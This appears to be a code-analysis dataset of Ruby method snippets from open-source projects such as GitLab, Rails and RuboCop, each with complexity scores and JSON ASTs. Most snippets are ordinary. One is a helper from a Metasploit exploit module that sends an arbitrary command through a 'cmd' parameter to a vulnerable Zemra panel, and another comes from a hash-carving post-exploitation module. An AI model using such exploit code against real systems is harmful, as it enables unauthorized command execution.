{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/update_service.rb","start_line":84,"raw_source":"def validate_restrict_user_defined_variables_change\n      return unless changing_restrict_user_defined_variables? || changing_pipeline_variables_minimum_override_role?\n\n      if changing_pipeline_variables_minimum_override_role? &&\n          params[:ci_pipeline_variables_minimum_override_role] == 'owner' &&\n          !can?(current_user, :owner_access, project)\n        raise_api_error(s_(\"UpdateProject|Changing the ci_pipeline_variables_minimum_override_role to the owner role is not allowed\"))\n      end\n\n      return if can?(current_user, :change_restrict_user_defined_variables, project)\n\n      raise_api_error(s_(\"UpdateProject|Changing the restrict_user_defined_variables or ci_pipeline_variables_minimum_override_role is not allowed\"))\n    end","complexity_score":27.4,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_restrict_user_defined_variables_change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"changing_restrict_user_defined_variables?\"]},{\"type\":\"send\",\"children\":[null,\"changing_pipeline_variables_minimum_override_role?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"changing_pipeline_variables_minimum_override_role?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ci_pipeline_variables_minimum_override_role\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"owner\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"owner_access\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"raise_api_error\",{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"UpdateProject|Changing the ci_pipeline_variables_minimum_override_role to the owner role is not allowed\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"change_restrict_user_defined_variables\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"raise_api_error\",{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"UpdateProject|Changing the restrict_user_defined_variables or ci_pipeline_variables_minimum_override_role is not allowed\"]}]}]}]}]}","id":"140871d8-c163-4968-a948-9f273503fbb1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/group/settings/package_registries.rb","start_line":50,"raw_source":"def has_dependency_proxy_enabled?\n            within_element 'dependency-proxy-settings-content' do\n              within_element 'dependency-proxy-setting-toggle' do\n                toggle = find('button.gl-toggle')\n                toggle[:class].include?('is-checked')\n              end\n            end\n          end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"has_dependency_proxy_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_element\",{\"type\":\"str\",\"children\":[\"dependency-proxy-settings-content\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_element\",{\"type\":\"str\",\"children\":[\"dependency-proxy-setting-toggle\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"toggle\",{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\"button.gl-toggle\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"toggle\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"class\"]}]},\"include?\",{\"type\":\"str\",\"children\":[\"is-checked\"]}]}]}]}]}]}","id":"d1fc3152-cbf2-4dcc-81c7-ff14351adf8e"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/payment_method/store_credit.rb","start_line":85,"raw_source":"def cancel(auth_code, _payment = nil)\n      store_credit_event = StoreCreditEvent.find_by(authorization_code: auth_code,\n                                                    action: Spree::StoreCredit::CAPTURE_ACTION)\n      store_credit = store_credit_event.try(:store_credit)\n\n      if !store_credit_event || !store_credit\n        handle_action(nil, :cancel, false)\n      else\n        action = lambda do |store_credit|\n          store_credit.credit(store_credit_event.amount, auth_code, store_credit.currency)\n        end\n        handle_action(action, :cancel, auth_code)\n      end\n    end","complexity_score":19.4,"ast_json":"{\"type\":\"def\",\"children\":[\"cancel\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"auth_code\"]},{\"type\":\"optarg\",\"children\":[\"_payment\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"store_credit_event\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StoreCreditEvent\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"authorization_code\"]},{\"type\":\"lvar\",\"children\":[\"auth_code\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"StoreCredit\"]},\"CAPTURE_ACTION\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"store_credit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store_credit_event\"]},\"try\",{\"type\":\"sym\",\"children\":[\"store_credit\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store_credit_event\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store_credit\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"handle_action\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"cancel\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"action\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"store_credit\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store_credit\"]},\"credit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store_credit_event\"]},\"amount\"]},{\"type\":\"lvar\",\"children\":[\"auth_code\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store_credit\"]},\"currency\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"handle_action\",{\"type\":\"lvar\",\"children\":[\"action\"]},{\"type\":\"sym\",\"children\":[\"cancel\"]},{\"type\":\"lvar\",\"children\":[\"auth_code\"]}]}]}]}]}]}","id":"b651a326-1a36-47d0-b83e-2f13f5dd33a3"}
{"repo_name":"rails","file_path":"./repos/rails/tools/rail_inspector/test/rail_inspector/configuring/check/framework_defaults_test.rb","start_line":54,"raw_source":"def check(defaults, doc)\n      @check ||= RailInspector::Configuring::Check::FrameworkDefaults.new(checker, defaults, doc)\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"defaults\"]},{\"type\":\"arg\",\"children\":[\"doc\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@check\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RailInspector\"]},\"Configuring\"]},\"Check\"]},\"FrameworkDefaults\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"checker\"]},{\"type\":\"lvar\",\"children\":[\"defaults\"]},{\"type\":\"lvar\",\"children\":[\"doc\"]}]}]}]}","id":"443e169b-307e-4787-b4fd-7c19d3f4764b"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/leading_comment_space.rb","start_line":197,"raw_source":"def steep_annotation?(comment)\n          allow_steep_annotation? && comment.text.start_with?(/#[$:]/)\n        end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"steep_annotation?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"comment\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow_steep_annotation?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"text\"]},\"start_with?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"#[$:]\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}","id":"440e9449-db97-4351-af37-d5f76cb9c72c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/zemra_panel_rce.rb","start_line":74,"raw_source":"def http_send_command(cmd)\n    uri = normalize_uri(target_uri.path.to_s)\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => uri,\n      'vars_get' =>\n        {\n          'cmd' => cmd\n        }\n    })\n    unless res && res.code == 200\n      fail_with(Failure::Unknown, 'Failed to execute the command.')\n    end\n    res\n  end","complexity_score":14.03,"ast_json":"{\"type\":\"def\",\"children\":[\"http_send_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},\"to_s\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cmd\"]},{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Failed to execute the command.\"]}]}]},{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}","id":"209f217b-db00-4b6a-a7f8-2fb0ae25e0b0"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/config_obsoletion/extracted_cop.rb","start_line":11,"raw_source":"def initialize(config, old_name, gem)\n        super(config, old_name)\n        @department, * = old_name.rpartition('/')\n        @gem = gem\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]},{\"type\":\"arg\",\"children\":[\"old_name\"]},{\"type\":\"arg\",\"children\":[\"gem\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},{\"type\":\"lvar\",\"children\":[\"old_name\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@department\"]},{\"type\":\"splat\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_name\"]},\"rpartition\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@gem\",{\"type\":\"lvar\",\"children\":[\"gem\"]}]}]}]}","id":"b32047a1-7bee-4a98-a2e7-408662334af3"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/test_data/contact_batch_service.rb","start_line":138,"raw_source":"def create_messages\n    Rails.logger.info { \"Creating messages for #{@conversations.size} conversations\" }\n    start_time = Time.current\n\n    batch_count = 0\n    @conversations.find_in_batches(batch_size: 1000) do |batch|\n      batch_count += 1\n      batch_start = Time.current\n\n      messages_data = batch.flat_map do |convo|\n        build_messages_for_conversation(convo)\n      end\n\n      batch_message_count = messages_data.size\n      Rails.logger.info { \"Preparing to insert #{batch_message_count} messages (batch #{batch_count})\" }\n\n      Message.insert_all!(messages_data) if messages_data.any?\n      @total_messages += batch_message_count\n\n      Rails.logger.info { \"Created batch #{batch_count} with #{batch_message_count} messages in #{Time.current - batch_start}s\" }\n    end\n\n    Rails.logger.info { \"Created total of #{@total_messages} messages in #{Time.current - start_time}s\" }\n  end","complexity_score":44.15,"ast_json":"{\"type\":\"def\",\"children\":[\"create_messages\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"info\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Creating messages for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversations\"]},\"size\"]}]},{\"type\":\"str\",\"children\":[\" conversations\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"start_time\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]},{\"type\":\"lvasgn\",\"children\":[\"batch_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversations\"]},\"find_in_batches\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"batch_size\"]},{\"type\":\"int\",\"children\":[1000]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"batch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"batch_count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"batch_start\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]},{\"type\":\"lvasgn\",\"children\":[\"messages_data\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"convo\"]}]},{\"type\":\"send\",\"children\":[null,\"build_messages_for_conversation\",{\"type\":\"lvar\",\"children\":[\"convo\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"batch_message_count\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"messages_data\"]},\"size\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"info\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Preparing to insert \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch_message_count\"]}]},{\"type\":\"str\",\"children\":[\" messages (batch \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch_count\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"messages_data\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Message\"]},\"insert_all!\",{\"type\":\"lvar\",\"children\":[\"messages_data\"]}]},null]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@total_messages\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"batch_message_count\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"info\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Created batch \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch_count\"]}]},{\"type\":\"str\",\"children\":[\" with \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch_message_count\"]}]},{\"type\":\"str\",\"children\":[\" messages in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"batch_start\"]}]}]},{\"type\":\"str\",\"children\":[\"s\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"info\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Created total of \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@total_messages\"]}]},{\"type\":\"str\",\"children\":[\" messages in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"start_time\"]}]}]},{\"type\":\"str\",\"children\":[\"s\"]}]}]}]}]}","id":"6460be5b-0070-48c0-87dc-6454c65ce7c5"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/work_packages/baseline_modal.rb","start_line":88,"raw_source":"def set_between_dates(from:, from_time:, to:, to_time:)\n        fill_in \"op-baseline-from-date\", with: from\n        sleep 0.5\n        fill_in \"op-baseline-to-date\", with: to\n\n        set_time from_time, \"op-baseline-from-time\"\n        set_time to_time, \"op-baseline-to-time\"\n      end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"set_between_dates\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"from\"]},{\"type\":\"kwarg\",\"children\":[\"from_time\"]},{\"type\":\"kwarg\",\"children\":[\"to\"]},{\"type\":\"kwarg\",\"children\":[\"to_time\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"str\",\"children\":[\"op-baseline-from-date\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"lvar\",\"children\":[\"from\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"float\",\"children\":[0.5]}]},{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"str\",\"children\":[\"op-baseline-to-date\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"lvar\",\"children\":[\"to\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"set_time\",{\"type\":\"lvar\",\"children\":[\"from_time\"]},{\"type\":\"str\",\"children\":[\"op-baseline-from-time\"]}]},{\"type\":\"send\",\"children\":[null,\"set_time\",{\"type\":\"lvar\",\"children\":[\"to_time\"]},{\"type\":\"str\",\"children\":[\"op-baseline-to-time\"]}]}]}]}","id":"ac53ebf3-a7d1-44c8-814a-816f938cb642"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/holidays/definition/validator/test_custom_method.rb","start_line":15,"raw_source":"def test_valid_returns_true_with_multiple_arguments\n    m = {:name => \"good_method\", :arguments => \"year,month\", :source => \"source\"}\n    assert @subject.valid?(m)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_valid_returns_true_with_multiple_arguments\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"m\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"good_method\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"arguments\"]},{\"type\":\"str\",\"children\":[\"year,month\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"str\",\"children\":[\"source\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subject\"]},\"valid?\",{\"type\":\"lvar\",\"children\":[\"m\"]}]}]}]}]}","id":"0416f33f-e998-4978-9204-f8b733061ed6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/manage/hashcarve.rb","start_line":227,"raw_source":"def create_des_keys(string)\n    keys = []\n    string = string.dup\n    until (key = string.slice!(0, 7)).empty?\n      # key is 56 bits\n      key = key.unpack('B*').first\n      str = ''\n      until (bits = key.slice!(0, 7)).empty?\n        str << bits\n        str << (bits.count('1').even? ? '1' : '0') # parity\n      end\n      keys << [str].pack('B*')\n    end\n    keys\n  end","complexity_score":29.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_des_keys\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"string\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"keys\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"string\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string\"]},\"dup\"]}]},{\"type\":\"until\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string\"]},\"slice!\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[7]}]}]}]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"B*\"]}]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"str\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"until\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bits\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"slice!\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[7]}]}]}]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"bits\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"<<\",{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bits\"]},\"count\",{\"type\":\"str\",\"children\":[\"1\"]}]},\"even?\"]},{\"type\":\"str\",\"children\":[\"1\"]},{\"type\":\"str\",\"children\":[\"0\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"B*\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"keys\"]}]}]}","id":"5e3ed478-9ef8-4171-af48-f6eba9a1cf1d"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/admin/tags_controller.rb","start_line":18,"raw_source":"def index\n      @q = Tag.ransack(params[:q])\n      @tags = @q.result.page(params[:page]).per(50)\n    end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@q\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tag\"]},\"ransack\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"q\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@tags\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@q\"]},\"result\"]},\"page\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page\"]}]}]},\"per\",{\"type\":\"int\",\"children\":[50]}]}]}]}]}","id":"3902dbc6-a47f-42fb-9192-74b816c18fcf"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/unused_method_argument.rb","start_line":94,"raw_source":"def check_argument(variable)\n          return unless variable.method_argument?\n          return if variable.keyword_argument? && cop_config['AllowUnusedKeywordArguments']\n          return if ignored_method?(variable.scope.node.body)\n\n          super\n        end","complexity_score":13.7,"ast_json":"{\"type\":\"def\",\"children\":[\"check_argument\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"variable\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variable\"]},\"method_argument?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variable\"]},\"keyword_argument?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cop_config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"AllowUnusedKeywordArguments\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ignored_method?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variable\"]},\"scope\"]},\"node\"]},\"body\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"c7328f49-6f64-4127-a444-0659ff3ee69b"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/sidebar_header_dropdown.rb","start_line":14,"raw_source":"def visible?\n        page.has_css?(SIDEBAR_HAMBURGER_DROPDOWN)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"visible?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"has_css?\",{\"type\":\"const\",\"children\":[null,\"SIDEBAR_HAMBURGER_DROPDOWN\"]}]}]}","id":"c1450f2b-7441-43d0-91b8-d16c95ff0932"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/path_regex_spec.rb","start_line":13,"raw_source":"def without_format(path)\n    path.split('(', 2)[0]\n  end","complexity_score":2.55,"ast_json":"{\"type\":\"def\",\"children\":[\"without_format\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"split\",{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"int\",\"children\":[2]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}","id":"248a265c-336a-42ea-ad0d-0d0d647e8c7d"}
